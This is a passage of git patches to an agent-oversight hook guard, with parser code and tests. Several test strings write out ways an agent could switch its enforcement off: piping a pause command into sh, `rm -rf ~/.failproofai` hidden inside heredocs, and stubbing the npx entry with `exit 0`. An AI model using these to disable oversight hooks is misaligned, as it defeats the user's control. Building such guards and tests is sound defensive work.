/[A-Za-z0-9_]/.test(text[j])) j++; + if (outermost()) spans.push([i, j]); + i = j - 1; + continue; + } + if (ch === "{" || ch === "(") { + stack.push({ close: ch === "{" ? "}" : ")", start: i, expansion: false }); + continue; + } + if ((ch === "}" || ch === ")") && stack.length > 0 && stack[stack.length - 1].close === ch) { + const open = stack.pop()!; + if (open.expansion && outermost()) spans.push([open.start, i + 1]); + } + } + if (spans.length === 0) return text; + spans.sort((a, b) => a[0] - b[0]); + let out = ""; + let pos = 0; + for (const [start, end] of spans) { + if (start < pos) continue; + out += text.slice(pos, start) + "*"; + pos = end; + } + return out + text.slice(pos); } /** `$(…)` and backticks, which the shell splices into the word around them. */ -const COMMAND_SUBSTITUTION_IN_WORD_RE = /\$\([^()]*\)|`[^`]*`/g; /** A word the shell resolves against the current directory. */ function isRelativeShellWord(word: string): boolean { @@ -2149,7 +2475,7 @@ function destroysFailproofaiState(command: string): boolean { * does, because nothing in the second command reaches the state. */ function destroysProtectedPath(command: string, target: ProtectedPathTarget, depth = 0, unescapedPass = false): boolean { - const lexed = lexShell(command); + const lexed = lexShell(command, depth > 0); // A substitution runs its body as a command of its own, so it is judged as // one — `echo $(rm -rf ~/.failproofai)` otherwise presents `echo` as the head @@ -2167,8 +2493,9 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep const bodies = substitutionBodies(lexed.substitutionSource); for (let i = 0; i < bodies.length && i < 64; i++) { if (destroysProtectedPath(bodies[i], target, 1)) return true; - if (destroysProtectedPath(stripShellQuoting(bodies[i]), target, 1, true)) return true; - bodies.push(...substitutionBodies(lexShell(bodies[i]).substitutionSource)); + const unescapedBody = stripShellQuoting(bodies[i]); + if (unescapedBody !== bodies[i] && destroysProtectedPath(unescapedBody, target, 1, true)) return true; + bodies.push(...substitutionBodies(lexShell(bodies[i], true).substitutionSource)); } } @@ -2214,9 +2541,15 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep if (globCouldNameTarget(word, target)) return true; if (walkCwd === undefined) return false; // A relative word lands where the shell stands: `settings.json` after - // `cd ~/.claude`, `opencode` after `cd ~/.config`. + // `cd ~/.claude`, `opencode` after `cd ~/.config`. Only words that could + // be one of the target's names, or `.`/`..` steps, are resolved: the + // rest cannot land on it, and resolving every word of a long line cost + // more than the whole walk. + const cwdHinted = target.hint === undefined || target.hint.test(walkCwd); for (const form of word.includes("=") ? [word, word.slice(word.indexOf("=") + 1)] : [word]) { - if (isRelativeShellWord(form) && target.namesLiteral(resolve(walkCwd, form))) return true; + if (!isRelativeShellWord(form)) continue; + if (!cwdHinted && !target.hint!.test(form) && !/^\.{1,2}(?:\/\.{1,2})*\/?$/.test(form)) continue; + if (target.namesLiteral(resolve(walkCwd, form))) return true; } return GLOB_METACHAR_RE.test(word) && !/^[-/~$]/.test(word) && globCouldNameTarget(resolve(walkCwd, word), target); }); @@ -2275,13 +2608,13 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep } } - for (const [simpleStart, simpleEnd] of cutRanges(splitPipeline, /\|/)) { + for (const [simpleIndex, [simpleStart, simpleEnd]] of cutRanges(splitPipeline, /\|/).entries()) { const simple = pipeline.slice(simpleStart, simpleEnd); const splitSimple = splitPipeline.slice(simpleStart, simpleEnd); parenDepth += (splitSimple.match(/\(/g) ?? []).length; // A command substitution is one word however many spaces it holds: // `cp x ~/.claude/settings$( true ).json` has three operands, not five. - const words = commandWords(simple.replace(COMMAND_SUBSTITUTION_IN_WORD_RE, "*")); + const words = commandWords(spliceWordExpansions(simple, true)); const head = words.length > 0 ? commandBasename(words[0]) : ""; // Track the shell's position before judging: a `cd` INTO the state makes // every later relative path a state path, and a `cd` back out ends that. @@ -2300,6 +2633,11 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep cwdInState = false; cdParenDepth = null; walkCwd = dirStack.length > 0 ? dirStack.pop() : undefined; + } else if (reachesState && simpleIndex > 0 && quoteAwareCommandWords(simple).readsStdinProgram) { + // A bare shell or interpreter after a pipe runs the text piped into it: + // `echo 'rm -rf ~/.claude' | sh`. Whatever names the target upstream is + // its program. + return true; } else if (reachesState && words.length > 0) { // `xargs` hands the paths on its stdin to the command after it, so a // copy or a `tee` fed by `echo |` names its destination nowhere @@ -3442,7 +3780,10 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // it at all: `codex features disable hooks` rewrites config.toml. Read from // the commands alone, so a commit message that quotes one is still a message. const lexed = lexShell(cmd); - if (agentCliSwitchesHooksOff(lexed.commandsOnly) || agentCliSwitchesHooksOff(stripShellQuoting(lexed.commandsOnly))) { + // Text piped into a shell is a command too: `echo 'codex features disable hooks' | sh`. + const pipesIntoShell = /\|\s*(?:\S*\/)?(?:sh|bash|zsh|dash|ksh|ash|fish)(?=[\s;&|)]|$)/.test(lexed.commandsOnly); + const cliText = pipesIntoShell ? cmd : lexed.commandsOnly; + if (agentCliSwitchesHooksOff(cliText) || agentCliSwitchesHooksOff(stripShellQuoting(cliText))) { return deny( "Turning an agent's hooks off would switch failproofai's enforcement off. " + "If this change is needed, say so and let the user make it.", From efccfea3dcb3a08a26e31d80f5eb278c7213384d Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 16:58:23 +0530 Subject: [PATCH 12/89] [hooks] Close the last review pass: echo-to-script bodies, piped CLI, slow globs (#1794) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - `echo`/`printf` no longer make a `$(cat <<'EOF' …)` body a stored message: their output is the body, and `> x.sh && sh x.sh` runs it (a new allow versus main for ~/.failproofai, now denied again). - The failproofai CLI in text piped into a shell is classified: `echo 'failproofai config --pause' | sh` (open on main). - The "runs later" check and the "names the file later" set are read once per line of heredocs, not per heredoc: 8000 operators on one line were quadratic. - Globs without extended groups are matched segment by segment with the greedy wildcard walk instead of a regex: a word with a long run of `*` backtracked through every split of a candidate (200 stars ran for minutes). Runs of `*` collapse; extended groups keep the regex path. Part of FailproofAI/agenteye#1794 Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/settings-guard.test.ts | 38 ++++++++ src/hooks/builtin-policies.ts | 119 +++++++++++++++++++++++-- 3 files changed, 151 insertions(+), 8 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 665f37b07..8ac2138fa 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -29,7 +29,7 @@ - Setup's summary on a Cloud-managed machine says "Deploy from Cloud" instead of pointing at installing a pack (#1033) - The first `failproofai config` on a new version (a fresh install, or the first after `npm i -g failproofai`) finishes the upgrade the way `failproofai update` does: it migrates Hermes profiles and restarts running, service-managed Hermes and OpenClaw gateways so they load the plugin now on disk. A later setup that plugs in a profile created since restarts that profile's gateway. Setup used to leave a gateway that was already running on the plugin it loaded before, or with none, until someone ran `update` (#1033) - A desired-state response the daemon refuses (an unknown `schemaVersion`, or a payload that does not decode) no longer applies its `machineLogs` or `logRequest` first: it used to clear an org's troubleshooting-off and start a log upload on the way to being rejected; the last valid answer now stands (#1033) -- An agent can no longer switch its own enforcement off by editing its CLI's settings: the always-on guard (`block-failproofai-commands`) refused writes to `~/.failproofai` only, so `"disableAllHooks": true` in any Claude Code settings layer, or failproofai's entries taken out of any agent's hooks file, stopped every policy, the guard included. It now refuses agent writes to every integration's settings and hook files (Claude Code, Codex `hooks.json` and `config.toml`, Copilot, Cursor, OpenCode, Pi, Antigravity, Goose, Factory, Devin, Hermes, OpenClaw, and the file the hook was loaded from when `CLAUDE_CONFIG_DIR` or `CODEX_HOME` moved it): Write, Edit, MultiEdit, NotebookEdit and `apply_patch` edits, checked after symlinks, and shell writes through the same walk that protects `~/.failproofai`, plus `codex features disable hooks`. That walk now reads a command the way a shell does (quotes, comments, `${…}`, `$(…)`, heredocs), judges text piped into a shell, follows a `cd` to the file a relative destination lands on, and catches `yq -i`, `awk -i inplace`, `sed`'s `e`/`W` and bundled `-i`, output options (`git log --output`, `sort -o`), commands git runs (`rebase -x`, `filter-branch`) and file-moving `git` subcommands, `xargs`, process substitutions, variables spliced into a path and interpreters' inline programs, for the state as well; it no longer reads commit messages, PR bodies, comments or other quoted arguments as commands, and git hooks in `.github/hooks/` stay editable. Reading those files stays allowed, and `failproofai config --status` now reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off (#1053, FailproofAI/agenteye#1794) +- An agent can no longer switch its own enforcement off by editing its CLI's settings: the always-on guard (`block-failproofai-commands`) refused writes to `~/.failproofai` only, so `"disableAllHooks": true` in any Claude Code settings layer, or failproofai's entries taken out of any agent's hooks file, stopped every policy, the guard included. It now refuses agent writes to every integration's settings and hook files (Claude Code, Codex `hooks.json` and `config.toml`, Copilot, Cursor, OpenCode, Pi, Antigravity, Goose, Factory, Devin, Hermes, OpenClaw, and the file the hook was loaded from when `CLAUDE_CONFIG_DIR` or `CODEX_HOME` moved it): Write, Edit, MultiEdit, NotebookEdit and `apply_patch` edits, checked after symlinks, and shell writes through the same walk that protects `~/.failproofai`, plus `codex features disable hooks`. That walk now reads a command the way a shell does (quotes, comments, `${…}`, `$(…)`, heredocs), judges text piped into a shell (the failproofai CLI's too), follows a `cd` to the file a relative destination lands on, and catches `yq -i`, `awk -i inplace`, `sed`'s `e`/`W` and bundled `-i`, output options (`git log --output`, `sort -o`), commands git runs (`rebase -x`, `filter-branch`) and file-moving `git` subcommands, `xargs`, process substitutions, variables spliced into a path and interpreters' inline programs, for the state as well; it no longer reads commit messages, PR bodies, comments or other quoted arguments as commands, and git hooks in `.github/hooks/` stay editable. Reading those files stays allowed, and `failproofai config --status` now reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off (#1053, FailproofAI/agenteye#1794) ### Dependencies diff --git a/__tests__/hooks/settings-guard.test.ts b/__tests__/hooks/settings-guard.test.ts index 87466791a..27f44d264 100644 --- a/__tests__/hooks/settings-guard.test.ts +++ b/__tests__/hooks/settings-guard.test.ts @@ -809,6 +809,44 @@ describe("block-failproofai-commands — review round four", () => { }); }); +/** The last review pass. */ +describe("block-failproofai-commands — review round five", () => { + const stateDenied = async (command: string) => { + const result = await run("Bash", { command }); + return result.decision === "deny" && /failproofai's own state/.test(result.reason ?? ""); + }; + + it("reads an echoed or printed heredoc that a later command runs", async () => { + expect(await stateDenied(`echo "$(cat <<'EOF'\nrm -rf ~/.failproofai\nEOF\n)" > /tmp/x.sh && sh /tmp/x.sh`)).toBe(true); + expect(await stateDenied(`printf '%s\\n' "$(cat <<'EOF'\nrm -rf ~/.failproofai\nEOF\n)" > /tmp/x.sh; bash /tmp/x.sh`)).toBe(true); + }); + + it("reads the failproofai CLI in text piped into a shell", async () => { + const result = await run("Bash", { command: "echo 'failproofai config --pause' | sh" }); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/Pausing failproofai/); + expect(await bashDecision("echo 'failproofai config --pause' | cat")).toBe("allow"); + }); + + it("stays fast on thousands of heredocs on one line", async () => { + const command = "cat < { + const command = "rm ~/.c" + "*".repeat(200) + "laude/settings.json"; + const started = performance.now(); + expect(await bash(command)).toBe(true); + expect(performance.now() - started).toBeLessThan(3000); + const spread = "rm ~/.c" + "*l".repeat(60) + "*aude/settings.json"; + const startedSpread = performance.now(); + await bashDecision(spread); + expect(performance.now() - startedSpread).toBeLessThan(3000); + }, 60_000); +}); + describe("agent-settings-guard helpers", () => { it("matches settings files anchored at the end, and config directories exactly", () => { expect(isAgentSettingsPath("/h/.claude/settings.json")).toBe(true); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 747b4544d..20d38a314 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1115,9 +1115,92 @@ function bracketExpressionAt(token: string, start: number): { source: string; en * One `/`-delimited prefix of a brace-expanded word, compiled and tried against * the candidates. Braces are already gone by here; an unmatched one is literal. */ +/** One atom of a glob with no extended-glob groups. */ +type GlobAtom = { kind: "char"; ch: string } | { kind: "one" } | { kind: "star" } | { kind: "class"; test: RegExp }; + +/** + * A glob of literals, `?`, `*` and bracket expressions as atoms, or null when + * it holds an extended-glob group (left to the regex path). Runs of `*` + * collapse into one, as the shell reads them without globstar. + */ +function globAtoms(token: string): GlobAtom[] | null { + const atoms: GlobAtom[] = []; + for (let i = 0; i < token.length; i++) { + if (extglobAt(token, i)) return null; + const ch = token[i]; + if (ch === "*") { + if (atoms[atoms.length - 1]?.kind !== "star") atoms.push({ kind: "star" }); + } else if (ch === "?") atoms.push({ kind: "one" }); + else if (ch === "[") { + const bracket = bracketExpressionAt(token, i); + if (!bracket) { + atoms.push({ kind: "char", ch: "[" }); + continue; + } + atoms.push({ kind: "class", test: new RegExp(`^${bracket.source}$`) }); + i = bracket.end; + } else atoms.push({ kind: "char", ch }); + } + return atoms; +} + +/** + * Whether one path segment matches a segment's atoms, with no backtracking + * beyond the last `*`: the classic greedy wildcard walk, O(atoms × length). + * A regex built from many `*` backtracked through every way of splitting a + * candidate between them — a 226-character word ran for over a minute. + */ +function globSegmentMatches(atoms: GlobAtom[], text: string): boolean { + let a = 0; + let t = 0; + let starAtom = -1; + let starText = 0; + while (t < text.length) { + const atom = atoms[a]; + if (atom && atom.kind === "star") { + starAtom = a++; + starText = t; + continue; + } + if ( + atom && + (atom.kind === "one" || (atom.kind === "char" && atom.ch === text[t]) || (atom.kind === "class" && atom.test.test(text[t]))) + ) { + a++; + t++; + continue; + } + if (starAtom === -1) return false; + a = starAtom + 1; + t = ++starText; + } + while (atoms[a]?.kind === "star") a++; + return a === atoms.length; +} + +/** + * A matcher for a glob word against whole paths: segment by segment, since no + * `*`, `?` or bracket expression matches `/`. Null when the word holds an + * extended-glob group. + */ +function globMatcher(token: string): ((path: string) => boolean) | null { + const segments = token.split("/").map((segment) => globAtoms(segment)); + if (segments.some((atoms) => atoms === null)) return null; + return (path: string): boolean => { + const parts = path.split("/"); + return parts.length === segments.length && parts.every((part, i) => globSegmentMatches(segments[i]!, part)); + }; +} + function globPrefixNamesTarget(token: string, target: ProtectedPathTarget): boolean { if (!GLOB_METACHAR_RE.test(token)) return false; - const pattern = "^" + compileGlobPattern(token); + const matcher = globMatcher(token); + if (matcher) { + if (!target.globCandidates.some(matcher)) return false; + return !target.globDecoys.some(matcher); + } + // Extended-glob groups go through a regex, with runs of `*` collapsed first. + const pattern = "^" + compileGlobPattern(token.replace(/\*{2,}/g, "*")); let re: RegExp; try { re = new RegExp(pattern + "$"); @@ -1664,8 +1747,9 @@ function ghTakesBodyFromStdin(command: LexEndedCommand): boolean { /** Commands whose `$(cat <<'EOF' …)` argument is a message they store, never run. */ function outerStoresMessage(outer: LexEndedCommand | null | undefined): boolean { + // Not `echo` or `printf`: their output is the body itself, and + // `echo "$(cat <<'EOF' …)" > x.sh && sh x.sh` runs it. if (!outer || outer.head === null) return false; - if (outer.head === "echo" || outer.head === "printf") return true; const sub = outer.words.slice(1).find((word) => !word.startsWith("-")); if (outer.head === "git") return sub === "commit" || sub === "tag" || sub === "notes" || sub === "merge"; if (outer.head === "gh" || outer.head === "glab") return sub !== "alias" && sub !== "extension"; @@ -1707,10 +1791,10 @@ function heredocIsStoredText( doc: PendingHeredoc, own: LexEndedCommand, downstream: LexEndedCommand[], - later: string, + later: { runsText: boolean; names: ReadonlySet }, substitutionBody: boolean, ): boolean { - if (RUNS_TEXT_LATER_RE.test(later)) return false; + if (later.runsText) return false; if (downstream.length === 0) { if (catReadsOnlyStdin(own)) { // Inside a substitution whose text the outer command stores; or a body @@ -1721,7 +1805,7 @@ function heredocIsStoredText( const file = doc.outer === undefined ? heredocWritesFile(own) : null; if (file) { const name = file.slice(file.lastIndexOf("/") + 1); - return name.length > 0 && !later.includes(name); + return name.length > 0 && !later.names.has(name); } return false; } @@ -1879,7 +1963,13 @@ function lexShell(text: string, substitutionBody = false): ShellLex { spans.push({ doc, start: pos, end: bodyEnd }); pos = next; } - const later = text.slice(pos); + // What runs after the bodies, read once for every heredoc on the line: a + // check per heredoc made thousands of operators on one line quadratic. + const rest = text.slice(pos); + const later = { + runsText: RUNS_TEXT_LATER_RE.test(rest), + names: new Set(rest.split(/[\s;&|<>()'"`=]+/).map((word) => word.slice(word.lastIndexOf("/") + 1))), + }; for (const { doc, start, end } of spans) { const own = lineCommands[doc.commandIndex] ?? { head: null, words: [] }; const downstream = lineCommands.slice(doc.commandIndex + 1); @@ -3750,7 +3840,7 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // backslashes before running the binary, so `fail\proofai config --pause` // reaches the pause CLI even though the literal name is broken. const unescaped = stripShellQuoting(cmd); - const kind = classifySelfInvocation(cmd) ?? classifySelfInvocation(unescaped); + const kind = classifySelfInvocation(cmd) ?? classifySelfInvocation(unescaped) ?? classifyTextPipedIntoShell(cmd); if (kind === "pause") { return deny( @@ -3808,6 +3898,21 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { return allow(); } +/** + * The failproofai CLI inside text piped into a shell, which runs it: + * `echo 'failproofai config --pause' | sh`. Each quoted string is read as the + * command it becomes there. + */ +function classifyTextPipedIntoShell(cmd: string): SelfInvocation | null { + if (!/\|\s*(?:\S*\/)?(?:sh|bash|zsh|dash|ksh|ash|fish)(?=[\s;&|)]|$)/.test(cmd)) return null; + for (const [, single, double] of cmd.matchAll(/'([^']*)'|"((?:[^"\\]|\\.)*)"/g)) { + const piped = single ?? double ?? ""; + const kind = classifySelfInvocation(piped) ?? classifySelfInvocation(stripShellQuoting(piped)); + if (kind) return kind; + } + return null; +} + /** * The settings file this session's hook was loaded from, when the hook process * could tell (handler.ts reads it from the agent's own environment, so a From 41ef6796c2889769e8e8b6850cc17bdd3d44503e Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 17:17:41 +0530 Subject: [PATCH 13/89] [hooks] Test: the always-on guard must protect the entry a project-scope npx hook runs (#1795) Fails on FailproofAI/failproofai#1050's head: 43 of the 44 deny cases are allowed there (writes to node_modules/.bin/failproofai in the project, a parent directory, home or the npx cache; Windows shims; through links; and shell spellings including a file named failproofai copied into .bin/). Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 255 ++++++++++++++++++++ 1 file changed, 255 insertions(+) create mode 100644 __tests__/hooks/guard-npx-local-bin.test.ts diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts new file mode 100644 index 000000000..d844fa6d5 --- /dev/null +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -0,0 +1,255 @@ +// @vitest-environment node +import { describe, it, expect, vi, beforeAll, afterAll } from "vitest"; +import { mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { BUILTIN_POLICIES } from "../../src/hooks/builtin-policies"; +import { listIntegrations } from "../../src/hooks/integrations"; +import type { PolicyContext } from "../../src/hooks/policy-types"; + +// Same mocks as guard-installed-code.test.ts. The symlink cases below use the +// real synchronous `node:fs` on a temp directory, which these leave alone. +vi.mock("node:fs/promises", () => ({ + readFile: vi.fn(), + writeFile: vi.fn(), + stat: vi.fn().mockResolvedValue({ size: 0 }), + open: vi.fn(), +})); + +vi.mock("node:child_process", () => ({ + execSync: vi.fn(), + execFileSync: vi.fn(), +})); + +function makeCtx(overrides: Partial = {}): PolicyContext { + return { eventType: "PreToolUse", payload: {}, toolName: undefined, toolInput: undefined, ...overrides }; +} + +const policy = BUILTIN_POLICIES.find((p) => p.name === "block-failproofai-commands")!; + +const bash = async (command: string) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput: { command } }))).decision; + +const write = async (file_path: string, cwd?: string) => + policy.fn( + makeCtx({ + toolName: "Write", + toolInput: { file_path, content: "#!/bin/sh\nexit 0\n" }, + ...(cwd ? { session: { cwd } } : {}), + }), + ); + +/** + * A project-scope hook is `npx -y failproofai --hook …`, so that a committed + * settings file names no machine's path. npx runs a + * `node_modules/.bin/failproofai` it finds in the project, or in ANY directory + * above it, before the global install or its own cache, without checking what + * the file is. One Write of `exit 0` there turned every later hook in that tree + * into an allow, and the stub stayed for every later session — the guard + * protected `~/.failproofai` and, with #1050, the installed package, but not + * the entry npx actually runs. (FailproofAI/agenteye#1795) + */ +describe("block-failproofai-commands — the entry a project-scope npx hook runs", () => { + describe("file tools", () => { + it.each([ + ["the project's own", "/work/proj/node_modules/.bin/failproofai"], + ["a parent directory's", "/work/node_modules/.bin/failproofai"], + ["the home directory's, above every project in it", "/home/u/node_modules/.bin/failproofai"], + ["the npx cache's", "/home/u/.npm/_npx/0a1b2c3d4e5f6789/node_modules/.bin/failproofai"], + ["a monorepo package's", "/work/proj/packages/api/node_modules/.bin/failproofai"], + ])("denies writing %s node_modules/.bin/failproofai", async (_where, path) => { + const result = await write(path); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's installed code/); + }); + + // npm writes `.cmd` and `.ps1` shims beside the entry on Windows, and bun + // writes `.exe` and `.bunx`. + it.each([ + "C:\\work\\proj\\node_modules\\.bin\\failproofai", + "C:\\work\\proj\\node_modules\\.bin\\failproofai.cmd", + "C:\\work\\proj\\node_modules\\.bin\\failproofai.ps1", + "C:/work/proj/node_modules/.bin/failproofai.exe", + "C:/work/proj/node_modules/.bin/failproofai.bunx", + ])("denies writing the Windows entry %s", async (path) => { + expect((await write(path)).decision).toBe("deny"); + }); + + it("denies Edit and NotebookEdit of the entry", async () => { + const edit = await policy.fn( + makeCtx({ + toolName: "Edit", + toolInput: { file_path: "/work/proj/node_modules/.bin/failproofai", old_string: "exec", new_string: "exit 0 #" }, + }), + ); + expect(edit.decision).toBe("deny"); + const notebook = await policy.fn( + makeCtx({ toolName: "NotebookEdit", toolInput: { notebook_path: "/work/proj/node_modules/.bin/failproofai" } }), + ); + expect(notebook.decision).toBe("deny"); + }); + + it("denies the relative path a write from the project names", async () => { + expect((await write("node_modules/.bin/failproofai", "/work/proj")).decision).toBe("deny"); + expect((await write("./node_modules/.bin/failproofai", "/work/proj")).decision).toBe("deny"); + expect((await write("../node_modules/.bin/failproofai", "/work/proj")).decision).toBe("deny"); + }); + + // macOS volumes are case-insensitive by default, and a path resolver + // collapses `//` and `/./`: every one of these opens the same file. + it("matches every spelling that opens the same file", async () => { + expect((await write("/Users/u/proj/Node_Modules/.BIN/FailproofAI")).decision).toBe("deny"); + expect((await write("/work/proj/node_modules//.bin/./failproofai")).decision).toBe("deny"); + }); + + describe("through links", () => { + let root: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-npx-guard-")); + mkdirSync(join(root, "proj", "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(root, "proj", "tools"), { recursive: true }); + // Neither link's own path says anything about failproofai or `.bin`. + symlinkSync(join(root, "proj", "node_modules", ".bin"), join(root, "proj", "tools", "bins")); + symlinkSync(join(root, "proj", "node_modules", ".bin", "failproofai"), join(root, "proj", "tools", "hook")); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + // The entry does not exist yet in a project with no dependencies, so the + // link is dangling: the write creates the stub at the link's target. + it("denies a write through a link to the entry, even before it exists", async () => { + expect((await write(join(root, "proj", "tools", "hook"))).decision).toBe("deny"); + }); + + it("denies a write through a link to the .bin directory", async () => { + expect((await write(join(root, "proj", "tools", "bins", "failproofai"))).decision).toBe("deny"); + expect((await write("tools/bins/failproofai", join(root, "proj"))).decision).toBe("deny"); + }); + + it("still allows other files through the same link", async () => { + expect((await write(join(root, "proj", "tools", "bins", "my-script"))).decision).toBe("allow"); + }); + }); + + // The entry, and nothing else that lives beside it or shares its name. + it.each([ + ["another package's entry", "/work/proj/node_modules/.bin/tsc"], + ["an entry that only shares a prefix", "/work/proj/node_modules/.bin/failproofai-extras"], + ["a name npx never runs for `failproofai`", "/work/proj/node_modules/.bin/failproofai.sh"], + ["a project file named after the product", "/work/proj/scripts/failproofai.sh"], + ["a directory of that name under .bin", "/work/proj/.bin/failproofai/README.md"], + ])("allows writing %s", async (_label, path) => { + expect((await write(path)).decision).toBe("allow"); + }); + }); + + describe("shell commands", () => { + it.each([ + ["a redirect", "printf '#!/bin/sh\\nexit 0\\n' > node_modules/.bin/failproofai"], + ["an append", "echo 'exit 0' >> ./node_modules/.bin/failproofai"], + ["a copy", "cp /tmp/stub.sh node_modules/.bin/failproofai"], + ["a move", "mv /tmp/stub.sh node_modules/.bin/failproofai"], + ["a link", "ln -sf /tmp/stub.sh node_modules/.bin/failproofai"], + ["tee", "tee node_modules/.bin/failproofai < /tmp/stub.sh"], + ["install", "install -m 755 /tmp/stub.sh node_modules/.bin/failproofai"], + ["making a stub executable", "chmod +x node_modules/.bin/failproofai"], + ["an in-place sed", "sed -i 's/exec/exit 0 #/' node_modules/.bin/failproofai"], + ["an interpreter writing it", `python3 -c "open('node_modules/.bin/failproofai','w').write('exit 0')"`], + ["a parent directory's entry", "cp /tmp/stub.sh ../node_modules/.bin/failproofai"], + ["the home directory's entry", "cp /tmp/stub.sh ~/node_modules/.bin/failproofai"], + ["the entry named from inside node_modules", "cd node_modules && cp /tmp/stub.sh .bin/failproofai"], + ["the Windows shim", "cp /tmp/stub.cmd node_modules/.bin/failproofai.cmd"], + ["a variable holding the entry", "B=node_modules/.bin/failproofai; cp /tmp/stub.sh $B"], + ["a glob onto the entry", "cp /tmp/stub.sh node_modules/.bin/fail*"], + ["a quoted spelling", `cp /tmp/stub.sh node_modules/.bin/fail"proof"ai`], + // The path is on the line only in pieces: a file named `failproofai` + // copied, moved or linked INTO the directory npx searches. + ["a copy into the .bin directory", "cp /tmp/stage/failproofai node_modules/.bin/"], + ["a copy into the .bin directory, no trailing slash", "cp /tmp/stage/failproofai node_modules/.bin"], + ["a move into the .bin directory", "mv ./failproofai node_modules/.bin/"], + ["a link into the .bin directory", "ln -s /tmp/stage/failproofai node_modules/.bin"], + ["a copy with -t", "cp -t node_modules/.bin /tmp/stage/failproofai"], + ["a copy with --target-directory=", "cp --target-directory=node_modules/.bin /tmp/stage/failproofai"], + ["install -D into the directory", "install -D -m 755 /tmp/stage/failproofai node_modules/.bin/"], + ["rsync into the directory", "rsync -a /tmp/stage/failproofai node_modules/.bin/"], + ["a copy among other files", "cp /tmp/a.sh /tmp/stage/failproofai /tmp/b.sh node_modules/.bin/"], + ["a copy after --", "cp -- /tmp/stage/failproofai node_modules/.bin/"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // The same rule reaches the paths #1050 protects: moving a package + // directory named `failproofai` into a global `node_modules` replaces it. + it("denies moving a directory named failproofai into a node_modules", async () => { + expect(await bash("mv /tmp/build/failproofai /home/u/.nvm/versions/node/v22.11.0/lib/node_modules/")).toBe("deny"); + }); + + it.each([ + ["running another package's binary", "./node_modules/.bin/vitest run"], + ["running a binary through node", "node node_modules/.bin/eslint src"], + ["running a binary by its relative path", "node_modules/.bin/tsc --noEmit -p ."], + ["listing the directory", "ls -la node_modules/.bin"], + ["looking at the entry", "ls -l node_modules/.bin/failproofai"], + ["reading the entry", "cat node_modules/.bin/failproofai"], + ["resolving the entry", "readlink -f node_modules/.bin/failproofai"], + ["a clean reinstall", "rm -rf node_modules && npm ci"], + ["clearing every entry", "rm -rf node_modules/.bin/*"], + ["installing dependencies", "npm install"], + ["adding a dev dependency", "npm i -D vitest"], + ["copying another tool into the directory", "cp /tmp/stage/my-tool node_modules/.bin/"], + ["copying an entry out", "cp node_modules/.bin/failproofai /tmp/inspect"], + ["copying a whole build directory", "cp -r dist/ node_modules/.bin/"], + ["moving a source file", "mv src/failproofai.ts src/guard.ts"], + ["backing a directory up", "cp -r node_modules/.bin /tmp/bin-backup"], + ])("allows %s", async (_label, command) => { + expect(await bash(command)).not.toBe("deny"); + }); + }); + + // The guard protects the entry by NAME, so it has to be the name every + // project-scope hook hands npx. If an integration ever installs a different + // package or bin name, this fails instead of the guard silently protecting a + // file no hook runs. + it("protects the name every project-scope npx hook command runs", async () => { + const names = new Set(); + let shellIntegrations = 0; + for (const integration of listIntegrations()) { + if (!integration.scopes.includes("project")) continue; + let found = false; + for (const eventType of integration.eventTypes) { + const entry = JSON.stringify(integration.buildHookEntry("/opt/fp/bin/failproofai", eventType, "project")); + for (const [, name] of entry.matchAll(/npx -y (\S+)/g)) { + names.add(name); + found = true; + } + } + if (found) shellIntegrations++; + } + // OpenCode's entry is a plugin path; the npx call is inside the shim that + // install writes next to it. + const dir = mkdtempSync(join(tmpdir(), "fpai-npx-guard-opencode-")); + const cwd = vi.spyOn(process, "cwd").mockReturnValue(dir); + try { + listIntegrations() + .find((integration) => integration.id === "opencode")! + .writeHookEntries({}, "/opt/fp/bin/failproofai", "project"); + const shim = readFileSync(join(dir, ".opencode", "plugins", "failproofai.mjs"), "utf8"); + const spawned = [...shim.matchAll(/\["-y", "([^"]+)"/g)].map(([, name]) => name); + expect(spawned.length).toBeGreaterThan(0); + for (const name of spawned) names.add(name); + } finally { + cwd.mockRestore(); + rmSync(dir, { recursive: true, force: true }); + } + // Claude, Codex, Copilot, Cursor, Factory, Devin, Antigravity and Goose. + expect(shellIntegrations).toBeGreaterThanOrEqual(8); + expect([...names]).toEqual(["failproofai"]); + for (const name of names) { + expect((await write(`/work/proj/node_modules/.bin/${name}`)).decision).toBe("deny"); + expect(await bash(`cp /tmp/stub.sh node_modules/.bin/${name}`)).toBe("deny"); + } + }); +}); From 534727558a5dfecc063a959334a28fa553f18f81 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 17:17:41 +0530 Subject: [PATCH 14/89] [hooks] Guard node_modules/.bin/failproofai, the entry project-scope npx hooks run (#1795) MIME-Version: 1.0 